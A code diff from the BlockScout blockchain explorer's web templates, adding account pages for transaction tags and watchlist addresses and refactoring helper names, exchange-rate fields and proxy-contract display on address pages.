+ + +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/form.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/form.html.eex new file mode 100644 index 000000000000..6f6600f68066 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/form.html.eex @@ -0,0 +1,33 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :transaction_tags %> +
+
+
+

<%= gettext "Add transaction tag"%>

+ +
+
+
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/index.html.eex new file mode 100644 index 000000000000..80d1f479ce43 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/index.html.eex @@ -0,0 +1,41 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :transaction_tags %> +
+
+
+

<%= gettext "Transaction Tags" %>

+
+
+
+ <%= if @transaction_tags == [] do %> +
+
+ <%= gettext "You don't have transaction tags yet" %> +
+
+

+ <% else %> + + + + + + + + + + <%= Enum.map(@transaction_tags, fn at -> + render("row.html", transaction_tag: at, conn: @conn) + end) %> + +
<%= gettext "Name" %><%= gettext "Transaction" %><%= gettext "Action" %>
+ <% end %> +
+
+ <%= if Enum.count(@transaction_tags) < TagTransaction.get_max_tags_count() do %> + <%= gettext "Add transaction tag" %> + <% end %> +
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/row.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/row.html.eex new file mode 100644 index 000000000000..0fad76aeba83 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_transaction/row.html.eex @@ -0,0 +1,18 @@ +<%= if @transaction_tag.transaction_hash do %> + + <%= @transaction_tag.name %> + +
+ <%= link(@transaction_tag.transaction_hash, + to: transaction_path(BlockScoutWeb.Endpoint, :show, @transaction_tag.transaction_hash), + "data-test": "transaction_hash_link", + class: "text-truncate") %> + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", + additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], clipboard_text: @transaction_tag.transaction_hash, aria_label: gettext("Copy Address"), title: gettext("Copy Address"), style: "display: inline-block; vertical-align: text-bottom; position: initial; margin-top: 1px;" %> +
+ + + <%= link "Remove Tag", to: tag_transaction_path(@conn, :delete, @transaction_tag.id), method: :delete %> + + +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist/show.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist/show.html.eex new file mode 100644 index 000000000000..6270bc76673a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist/show.html.eex @@ -0,0 +1,42 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :watchlist %> +
+
+
+

<%= gettext "Watch list" %>

+
+
+
+ <%= if @watchlist.watchlist_addresses == [] do %> +
+
+ <%= gettext "You don't have addresses on you watchlist yet" %> +
+
+

+ <% else %> + + + + + + + + + + + <%= Enum.map(@watchlist.watchlist_addresses, fn wa -> + render(WatchlistAddressView, "row.html", watchlist_address: wa, exchange_rate: exchange_rate(), conn: @conn) + end) %> + +
<%= gettext "Name" %><%= gettext "Address" %><%= gettext "Balance" %><%= gettext "Actions" %>
+ <% end %> +
+
+ <%= if Enum.count(@watchlist.watchlist_addresses) < WatchlistAddress.get_max_watchlist_addresses_count() do %> + <%= gettext "Add address" %> + <% end %> +
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist_address/form.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist_address/form.html.eex new file mode 100644 index 000000000000..410b19615d51 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist_address/form.html.eex @@ -0,0 +1,91 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :watchlist %> +
+
+
+

<%=if @method == :update, do: gettext("Edit Watch list address"), else: gettext "Add address to the Watch list" %>

+ +
+
+
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist_address/row.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist_address/row.html.eex new file mode 100644 index 000000000000..0755957ac208 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/watchlist_address/row.html.eex @@ -0,0 +1,29 @@ + + <%= @watchlist_address.name %> + +
+ <%= link(trimmed_hash(@watchlist_address.address_hash), to: address_path(@conn, :show, @watchlist_address.address_hash)) %> + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", + additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], clipboard_text: @watchlist_address.address_hash, aria_label: gettext("Copy From Address"), title: gettext("Copy Address"), style: "display: inline-block; vertical-align: text-bottom; position: initial; margin-top: 1px;" %> +
+ + + <%= balance_ether(@watchlist_address.fetched_coin_balance) %> +
+ + + ( + ) + + + + <%= link(gettext("Edit"), to: watchlist_address_path(@conn, :edit, @watchlist_address.id)) %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_balance_dropdown.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_balance_dropdown.html.eex index e590b9f24ebe..a802313c1e44 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_balance_dropdown.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_balance_dropdown.html.eex @@ -1,7 +1,7 @@
<%= render BlockScoutWeb.CommonComponentsView, "_loading_spinner.html", loading_text: gettext("Fetching tokens...") %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_current_coin_balance.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_current_coin_balance.html.eex index 76ba32bf9f72..4c915268ed68 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_current_coin_balance.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_current_coin_balance.html.eex @@ -1,15 +1,15 @@ <%= format_wei_value(@coin_balance, :ether) %> <%= if !empty_exchange_rate?(@exchange_rate) do %> - <% usd_value = to_string(@exchange_rate.usd_value) %> + <% usd_value = to_string(@exchange_rate.fiat_value) %> ( ) -<% end %> \ No newline at end of file +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_labels.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_labels.html.eex new file mode 100644 index 000000000000..dbfb5bac756e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_labels.html.eex @@ -0,0 +1,19 @@ +<%= for common_tag <- @tags.common_tags do %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: common_tag.display_name, additional_classes: [tag_name_to_label(common_tag.label), "ml-1"] %> +<% end %> +<%= for personal_tag <- @tags.personal_tags do %> + <%= if personal_tag.address_hash do %> + <%= if personal_tag.label =~ "dark forest" do %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: personal_tag.display_name, additional_classes: ["df", "ml-1"] %> + <% else %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: personal_tag.display_name, additional_classes: [tag_name_to_label(personal_tag.label), "ml-1"] %> + <% end %> + <% end %> +<% end %> +<%= for watchlist_name <- @tags.watchlist_names do %> + <%= if watchlist_name.label =~ "dark forest" do %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: watchlist_name.display_name, additional_classes: ["df", "ml-1"] %> + <% else %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: watchlist_name.display_name, additional_classes: [tag_name_to_label(watchlist_name.label), "ml-1"] %> + <% end %> +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_link.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_link.html.eex index 275a8f058dc1..43c95a808547 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_link.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_link.html.eex @@ -1,7 +1,15 @@ +<% implementation_names = Implementation.names(@address) %> +<% implementation_name = + if Enum.empty?(implementation_names) do + nil + else + implementation_names |> Enum.at(0) + end +%> <%= if @address do %> <%= if assigns[:show_full_hash] do %> - <%= if name = if assigns[:ignore_implementation_name], do: primary_name(@address), else: implementation_name(@address) || primary_name(@address) do %> - <%= name %> | + <%= if name = if assigns[:ignore_implementation_name], do: primary_name(@address), else: implementation_name || primary_name(@address) do %> + <%= name %> | <% end %> <%= link to: address_path(BlockScoutWeb.Endpoint, :show, @address), "data-test": "address_hash_link", class: assigns[:class] do %> <%= @address %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_responsive_hash.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_responsive_hash.html.eex index c3dc9af56103..25e1d9c1f9d9 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_responsive_hash.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_responsive_hash.html.eex @@ -1,5 +1,13 @@ +<% implementation_names = Implementation.names(@address) %> +<% implementation_name = + if Enum.empty?(implementation_names) do + nil + else + implementation_names |> Enum.at(0) + end +%> - <%= if name = if assigns[:ignore_implementation_name], do: primary_name(@address), else: implementation_name(@address) || primary_name(@address) do %> + <%= if name = if assigns[:ignore_implementation_name], do: primary_name(@address), else: implementation_name || primary_name(@address) do %> <%= if assigns[:no_tooltip] do %> <%= if @use_custom_tooltip == true do %> <%= name %> (<%= short_hash(@address) %>...) @@ -24,7 +32,7 @@ <%= BlockScoutWeb.AddressView.trimmed_hash(@address.hash) %> <% else %> <%= @address %> - <%= BlockScoutWeb.AddressView.trimmed_hash(@address.hash) %> + <%= BlockScoutWeb.AddressView.trimmed_hash(@address && @address.hash) %> <% end %> <% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_tabs.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_tabs.html.eex index 0145c72a6448..1819a2aa72de 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_tabs.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_tabs.html.eex @@ -1,62 +1,70 @@ -<% dark_forest_addresses_list_0_4 = CustomContractsHelpers.get_custom_addresses_list(:dark_forest_addresses) %> -<% dark_forest_addresses_list_0_5 = CustomContractsHelpers.get_custom_addresses_list(:dark_forest_addresses_v_0_5) %> +<% dark_forest_addresses_list_0_4 = CustomContractsHelper.get_custom_addresses_list(:dark_forest_addresses) %> +<% dark_forest_addresses_list_0_5 = CustomContractsHelper.get_custom_addresses_list(:dark_forest_addresses_v_0_5) %> <% dark_forest_addresses_list = dark_forest_addresses_list_0_4 ++ dark_forest_addresses_list_0_5 %> <% current_address = "0x" <> Base.encode16(@address.hash.bytes, case: :lower) %>
<%= link( gettext("Transactions"), class: "card-tab #{tab_status("transactions", @conn.request_path)}", - to: AccessHelpers.get_path(@conn, :address_transaction_path, :index, @address.hash) + to: AccessHelper.get_path(@conn, :address_transaction_path, :index, @address.hash) ) %> - <%= if Chain.check_if_token_transfers_at_address(@address.hash) do %> + <%= if Counters.check_if_token_transfers_at_address(@address.hash) do %> <%= link( gettext("Token Transfers"), class: "card-tab #{tab_status("token-transfers", @conn.request_path)}", "data-test": "token_transfers_tab_link", - to: AccessHelpers.get_path(@conn, :address_token_transfers_path, :index, @address.hash) + to: AccessHelper.get_path(@conn, :address_token_transfers_path, :index, @address.hash) ) %> <% end %> - <%= if Chain.check_if_tokens_at_address(@address.hash) do %> + <%= if Counters.check_if_tokens_at_address(@address.hash) do %> <%= link( gettext("Tokens"), class: "card-tab #{tab_status("tokens", @conn.request_path)}", - to: AccessHelpers.get_path(@conn, :address_token_path, :index, @address.hash), + to: AccessHelper.get_path(@conn, :address_token_path, :index, @address.hash), "data-test": "tokens_tab_link" ) %> <% end %> + <%= if Counters.check_if_withdrawals_at_address(@address.hash) do %> + <%= link( + gettext("Withdrawals"), + class: "card-tab #{tab_status("withdrawals", @conn.request_path)}", + to: AccessHelper.get_path(@conn, :address_withdrawal_path, :index, @address.hash), + "data-test": "withdrawals_tab_link" + ) %> + <% end %> <%= link( gettext("Internal Transactions"), class: "card-tab #{tab_status("internal-transactions", @conn.request_path)}", "data-test": "internal_transactions_tab_link", - to: AccessHelpers.get_path(@conn, :address_internal_transaction_path, :index, @address.hash) + to: AccessHelper.get_path(@conn, :address_internal_transaction_path, :index, @address.hash) ) %> <%= link( gettext("Coin Balance History"), class: "card-tab #{tab_status("coin-balances", @conn.request_path)}", "data-test": "coin_balance_tab_link", - to: AccessHelpers.get_path(@conn, :address_coin_balance_path, :index, @address.hash) + to: AccessHelper.get_path(@conn, :address_coin_balance_path, :index, @address.hash) ) %> - <%= if Chain.check_if_logs_at_address(@address.hash) do %> + <%= if Counters.check_if_logs_at_address(@address.hash) do %> <%= link( gettext("Logs"), class: "card-tab #{tab_status("logs", @conn.request_path)}", - to: AccessHelpers.get_path(@conn, :address_logs_path, :index, @address.hash) + to: AccessHelper.get_path(@conn, :address_logs_path, :index, @address.hash) ) %> <% end %> - <%= if Chain.check_if_validated_blocks_at_address(@address.hash) do %> + <%= if Counters.check_if_validated_blocks_at_address(@address.hash) do %> <%= link( gettext("Blocks Validated"), class: "card-tab #{tab_status("validations", @conn.request_path)}", "data-test": "validations_tab_link", - to: AccessHelpers.get_path(@conn, :address_validation_path, :index, @address.hash) + to: AccessHelper.get_path(@conn, :address_validation_path, :index, @address.hash) ) %> <% end %> - <%= if contract?(@address) do %> + <%= if Address.smart_contract?(@address) do %> <%= link( - to: AccessHelpers.get_path(@conn, :address_contract_path, :index, @address.hash), + to: AccessHelper.get_path(@conn, :address_contract_path, :index, @address.hash), class: "card-tab #{tab_status("contracts", @conn.request_path)}") do %> <%= gettext("Code") %> - <%= if smart_contract_verified?(@address) do %> + <%= if BlockScoutWeb.API.V2.Helper.smart_contract_verified?(@address) do %> <%= cond do %> <% Enum.member?(dark_forest_addresses_list, current_address) -> %> @@ -68,39 +76,31 @@ <% end %> <% end %> <% end %> - <%= if has_decompiled_code?(@address) do %> - <%= link( - to: AccessHelpers.get_path(@conn, :address_decompiled_contract_path, :index, @address.hash), - class: "card-tab #{tab_status("decompiled-contracts", @conn.request_path)}") do %> - <%= gettext("Decompiled code") %> - - <% end %> - <% end %> - <%= if smart_contract_with_read_only_functions?(@address) do %> + <%= if smart_contract_with_read_only_functions?(@address) || has_address_custom_abi_with_read_functions?(@conn, @address.hash) do %> <%= link( gettext("Read Contract"), - to: AccessHelpers.get_path(@conn, :address_read_contract_path, :index, @address.hash), + to: AccessHelper.get_path(@conn, :address_read_contract_path, :index, @address.hash), class: "card-tab #{tab_status("read-contract", @conn.request_path)}") %> <% end %> <%= if @is_proxy do %> <%= link( gettext("Read Proxy"), - to: AccessHelpers.get_path(@conn, :address_read_proxy_path, :index, @address.hash), + to: AccessHelper.get_path(@conn, :address_read_proxy_path, :index, @address.hash), class: "card-tab #{tab_status("read-proxy", @conn.request_path)}") %> <% end %> - <%= if smart_contract_with_write_functions?(@address) do %> + <%= if smart_contract_with_write_functions?(@address) || has_address_custom_abi_with_write_functions?(@conn, @address.hash) do %> <%= link( gettext("Write Contract"), - to: AccessHelpers.get_path(@conn, :address_write_contract_path, :index, @address.hash), + to: AccessHelper.get_path(@conn, :address_write_contract_path, :index, @address.hash), class: "card-tab #{tab_status("write-contract", @conn.request_path)}") %> <% end %> - <%= if smart_contract_with_write_functions?(@address) && @is_proxy do %> + <%= if smart_contract_with_write_functions?(@address) && @is_proxy do %> <%= link( gettext("Write Proxy"), - to: AccessHelpers.get_path(@conn, :address_write_proxy_path, :index, @address.hash), + to: AccessHelper.get_path(@conn, :address_write_proxy_path, :index, @address.hash), class: "card-tab #{tab_status("write-proxy", @conn.request_path)}") %> <% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_tile.html.eex index 9e91a5a75e74..fcfab6512f05 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_tile.html.eex @@ -6,7 +6,7 @@ - <%= @address |> BlockScoutWeb.AddressView.address_partial_selector(nil, nil) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @address |> BlockScoutWeb.AddressView.address_partial_selector(nil, nil) |> BlockScoutWeb.RenderHelper.render_partial() %> <%= balance(@address) %> @@ -14,7 +14,7 @@ - data-usd-exchange-rate="<%= @exchange_rate.usd_value %>"> + data-usd-exchange-rate="<%= @exchange_rate.fiat_value %>"> <% end %> @@ -27,8 +27,8 @@ - <%= @tx_count %> - <%= gettext "Transactions sent" %> + <%= @transaction_count %> + <%= gettext "Transactions" %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer.html.eex index 24a31bbc516d..4f656c1f574b 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer.html.eex @@ -1,7 +1,7 @@ <%= if @type=="address" do %> <% else %> - + <% end %>
@@ -9,7 +9,7 @@ <%= if @type=="address" do %>
<%= address_link_to_other_explorer(@address_link, @hash ,true) %>
<% else %> -
<%= address_link_to_other_explorer(@tx_link, @hash ,true) %>
+
<%= address_link_to_other_explorer(@transaction_link, @hash ,true) %>
<% end %>
\ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer_modal.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer_modal.html.eex index 69ffb705e3b7..462ec8ed6e81 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer_modal.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorer_modal.html.eex @@ -13,8 +13,8 @@ ) %> <% else %> <%= link( - address_link_to_other_explorer(@tx_link, @hash, false), - to: address_link_to_other_explorer(@tx_link, @hash ,true) + address_link_to_other_explorer(@transaction_link, @hash, false), + to: address_link_to_other_explorer(@transaction_link, @hash ,true) ) %> <% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorers.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorers.html.eex index 21afb575a58f..ca0af97cf98f 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorers.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/_verify_other_explorers.html.eex @@ -3,9 +3,9 @@

Verify with other Explorers:

- <%= render "_verify_other_explorer.html", hash: @hash, type: @type, header: "Etherscan.io", class: "etherscan", address_link: "https://etherscan.io/address/", tx_link: "https://etherscan.io/tx/" %> - <%= render "_verify_other_explorer.html", hash: @hash, type: @type, header: "Blockchair.com", class: "blockchair", address_link: "https://blockchair.com/ethereum/address/", tx_link: "https://blockchair.com/ethereum/transaction/" %> - <%= render "_verify_other_explorer.html", hash: @hash, type: @type, header: "Etherchain.org", class: "etherchain", address_link: "https://www.etherchain.org/account/", tx_link: "https://www.etherchain.org/tx/" %> + <%= render "_verify_other_explorer.html", hash: @hash, type: @type, header: "Etherscan.io", class: "etherscan", address_link: "https://etherscan.io/address/", transaction_link: "https://etherscan.io/tx/" %> + <%= render "_verify_other_explorer.html", hash: @hash, type: @type, header: "Blockchair.com", class: "blockchair", address_link: "https://blockchair.com/ethereum/address/", transaction_link: "https://blockchair.com/ethereum/transaction/" %> + <%= render "_verify_other_explorer.html", hash: @hash, type: @type, header: "Etherchain.org", class: "etherchain", address_link: "https://www.etherchain.org/account/", transaction_link: "https://www.etherchain.org/tx/" %> @@ -26,9 +26,9 @@
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/index.html.eex index a1cfb6fa762a..57dba32da773 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/index.html.eex @@ -2,7 +2,7 @@ <%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %>
-

<%= gettext "Ether" %> <%= gettext "Addresses" %>

+

<%= Explorer.coin_name() %> <%= gettext "Addresses" %>

<%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", cur_page_number: "1", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address/overview.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address/overview.html.eex index 7fee0bfbb37e..3deb067abad2 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address/overview.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address/overview.html.eex @@ -1,8 +1,8 @@
<%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %> - <% dark_forest_addresses_list_0_4 = CustomContractsHelpers.get_custom_addresses_list(:dark_forest_addresses) %> - <% dark_forest_addresses_list_0_5 = CustomContractsHelpers.get_custom_addresses_list(:dark_forest_addresses_v_0_5) %> - <% circles_addresses_list = CustomContractsHelpers.get_custom_addresses_list(:circles_addresses) %> + <% dark_forest_addresses_list_0_4 = CustomContractsHelper.get_custom_addresses_list(:dark_forest_addresses) %> + <% dark_forest_addresses_list_0_5 = CustomContractsHelper.get_custom_addresses_list(:dark_forest_addresses_v_0_5) %> + <% circles_addresses_list = CustomContractsHelper.get_custom_addresses_list(:circles_addresses) %> <% current_address = "0x" <> Base.encode16(@address.hash.bytes, case: :lower) %> <% created_from_address_hash = if from_address_hash(@address), do: "0x" <> Base.encode16(from_address_hash(@address).bytes, case: :lower), else: nil %>
@@ -28,6 +28,7 @@ <% end %>

<%= address_title(@address) %> <%= gettext "Details" %>
+ <%= render BlockScoutWeb.AddressView, "_labels.html", address_hash: @address.hash, tags: @tags %> <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", @@ -37,28 +38,9 @@ aria_label: gettext("Copy Address"), title: gettext("Copy Address") %> <%= render BlockScoutWeb.CommonComponentsView, "_btn_qr_code.html" %> - <%= if validator_metadata = primary_validator_metadata(@address) do %> - - - - - - - - <% end %>

-

<%= @address %>

+

<%= @address %>

<% from_address_hash = from_address_hash(@address) %> - <%= if contract?(@address) do %> + <%= if Address.smart_contract?(@address) do %>
<%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", @@ -134,31 +116,33 @@ "data-test": "transaction_hash_link" ) %> <% else %> - + <% end %>
<% end %> <%= if @is_proxy do %> - <% {implementation_address, name} = Chain.get_implementation_address_hash(@address.hash, @address.smart_contract.abi) || "0x0000000000000000000000000000000000000000" %> - <%= if implementation_address do %> -
-
- <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Implementation address of the proxy contract.") %> - <%= gettext("Implementation") %> -
-
- <%= link( - (if name, do: name <> " | " <> implementation_address, else: implementation_address), - to: address_path(@conn, :show, implementation_address), - class: "contract-address" - ) - %> -
-
- <% end %> + <% implementation = Implementation.get_implementation(@address.smart_contract) %> + <% implementation_address_ = implementation && Enum.at(implementation.address_hashes, 0) %> + <% name = implementation && Enum.at(implementation.names, 0) %> + <% implementation_address = if is_nil(implementation_address_), do: "0x0000000000000000000000000000000000000000", else: to_string(implementation_address_) %> +
+
+ <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Implementation address of the proxy contract.") %> + <%= gettext("Implementation") %> +
+
+ <%= link( + (if name, do: name <> " | " <> implementation_address, else: implementation_address), + to: address_path(@conn, :show, implementation_address), + class: "contract-address" + ) + %> +
+
<% end %>
@@ -170,15 +154,15 @@
<%= balance(@address) %> <%= if !match?({:pending, _}, @coin_balance_status) && !empty_exchange_rate?(@exchange_rate) do %> - <% usd_value = to_string(@exchange_rate.usd_value) %> + <% fiat_value = to_string(@exchange_rate.fiat_value) %> ( ) @@ -213,7 +197,7 @@ <% end %> <% else %> - + <%= if @address.token_transfers_count do %> <%= Number.Delimit.number_to_delimited(@address.transactions_count, precision: 0) %> <%= gettext("Transactions") %> <% else %> @@ -240,7 +224,7 @@ <% end %> <% else %> - + <%= if @address.token_transfers_count do %> <%= Number.Delimit.number_to_delimited(@address.token_transfers_count, precision: 0) %> <%= gettext("Transfers") %> <% else %> @@ -306,9 +290,4 @@ <%= render BlockScoutWeb.CommonComponentsView, "_modal_qr_code.html", qr_code: qr_code(@address), title: @address %> - -<%= if validator_metadata do %> - <%= render BlockScoutWeb.AddressView, "_validator_metadata_modal.html", address_name: address_name, validator_metadata: validator_metadata %> -<% end %> - -<%= render BlockScoutWeb.Advertisement.BannersAdView, "_banner_728.html", conn: @conn %> +<%= render BlockScoutWeb.Advertisement.BannersAdView, "_banner_728.html", conn: @conn %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_coin_balance/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_coin_balance/index.html.eex index 4654533a7f1d..27c10ec6b77b 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_coin_balance/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_coin_balance/index.html.eex @@ -1,9 +1,9 @@
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
@@ -21,7 +21,7 @@ <%= gettext("There was a problem loading the chart.") %> <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", cur_page_number: "1", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract/index.html.eex index 7f2b8dbbe31f..f0cbbff4f55b 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract/index.html.eex @@ -1,51 +1,57 @@ <% contract_creation_code = contract_creation_code(@address) %> -<% minimal_proxy_template = Chain.get_minimal_proxy_template(@address.hash) %> -<% metadata_for_verification = minimal_proxy_template || Chain.get_address_verified_twin_contract(@address.hash).verified_contract %> -<% smart_contract_verified = BlockScoutWeb.AddressView.smart_contract_verified?(@address) %> -<% additional_sources_from_twin = Chain.get_address_verified_twin_contract(@address.hash).additional_sources %> -<% fully_verified = Chain.smart_contract_fully_verified?(@address.hash)%> -<% additional_sources = if smart_contract_verified, do: @address.smart_contract_additional_sources, else: additional_sources_from_twin %> +<% minimal_proxy_template = EIP1167.get_implementation_smart_contract(@address.hash) %> +<% bytecode_twin_contract = SmartContract.get_address_verified_bytecode_twin_contract(@address.hash) %> +<% smart_contract_verified = BlockScoutWeb.API.V2.Helper.smart_contract_verified?(@address) %> +<% fully_verified = SmartContract.verified_with_full_match?(@address.hash)%> +<% additional_sources = BlockScoutWeb.API.V2.SmartContractView.get_additional_sources(@address.smart_contract, smart_contract_verified, bytecode_twin_contract) %> +<% visualize_sol2uml_enabled = Explorer.Visualize.Sol2uml.enabled?() %>
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
<%= render BlockScoutWeb.AddressView, "_tabs.html", address: @address, is_proxy: is_proxy, conn: @conn %>
<%= unless smart_contract_verified do %> <%= if minimal_proxy_template do %> - <%= render BlockScoutWeb.CommonComponentsView, "_minimal_proxy_pattern.html", address_hash: metadata_for_verification.address_hash, conn: @conn %> + <%= render BlockScoutWeb.CommonComponentsView, "_minimal_proxy_pattern.html", address_hash: bytecode_twin_contract.address_hash, conn: @conn %> <% else %> - <%= if metadata_for_verification do %> + <%= if bytecode_twin_contract do %> <% path = address_verify_contract_path(@conn, :new, @address.hash) %>
<%= render BlockScoutWeb.CommonComponentsView, "_info.html" %> <%= gettext("Contract is not verified. However, we found a verified contract with the same bytecode in Blockscout DB") %> <%= link( - metadata_for_verification.address_hash, - to: address_contract_path(@conn, :index, metadata_for_verification.address_hash)) %>.
<%= gettext("All metadata displayed below is from that contract. In order to verify current contract, click") %> <%= gettext("Verify & Publish") %> <%= gettext("button") %>
+ bytecode_twin_contract.address_hash, + to: address_contract_path(@conn, :index, bytecode_twin_contract.address_hash)) %>.
<%= gettext("All metadata displayed below is from that contract. In order to verify current contract, click") %> <%= gettext("Verify & Publish") %> <%= gettext("button") %>
<%= link(gettext("Verify & Publish"), to: path, class: "button button-primary button-sm float-right ml-3", "data-test": "verify_and_publish") %>
